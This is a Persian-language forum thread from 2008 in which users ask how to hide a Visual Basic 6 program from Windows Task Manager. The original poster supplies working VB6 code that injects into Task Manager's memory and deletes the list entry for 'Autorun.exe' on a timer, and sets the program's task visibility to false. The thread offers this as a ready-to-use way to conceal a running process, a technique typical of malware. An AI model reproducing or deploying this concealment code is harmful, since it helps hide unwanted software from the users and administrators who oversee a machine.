PDA

نسخه کامل مشاهده نسخه کامل : مخفی کردن پروسه از سربرگ Applications



omid.sarmad
25-06-2008, 19:24
سلام.
یه برنامه با Visual Basic 6 نوشتم.میخوام موقع اجرا تو Task Manager و در سربرگ Applications (دقت کنید Applications نه Processes ) مخفی باشه.یعنی در حالت Hidden اجرا شه.
تو 2008 که تیکی واسه اینکار هست اما ظاهرا تو نسخه6 نیست (برای یکی از دوستان هست)
عزیزانی که میدونند تو Visual Basic 6 این گزینه کجاست راهنمایی کنند.

Smafias
25-06-2008, 21:26
توی قسمت کد بنویس:


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

به همین سادگی :11:

omid.sarmad
25-06-2008, 21:30
ممنون.:10:

M_i_L_i
26-06-2008, 21:45
اگه میشه لطف کنید بگید چطوری از تو لیست پروسسها هم بشه مخفی کرد برنامه رو ؟

omid.sarmad
27-06-2008, 00:14
اگه میشه لطف کنید بگید چطوری از تو لیست پروسسها هم بشه مخفی کرد برنامه رو ؟
سلام.


Private Sub Hide_Process(Name As String)
On Error Resume Next
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim Pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)

If h = 0 Then Exit Sub

f.flag = 8 Or &H20

Call GetWindowThreadProcessId(h, Pid)
hProcess = OpenProcess(1082, 0, Pid)

bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0

VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
CloseHandle hTid
End Sub
Private Sub Form_Load()
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
Hide_Process "Autorun.exe"
End Sub

:10: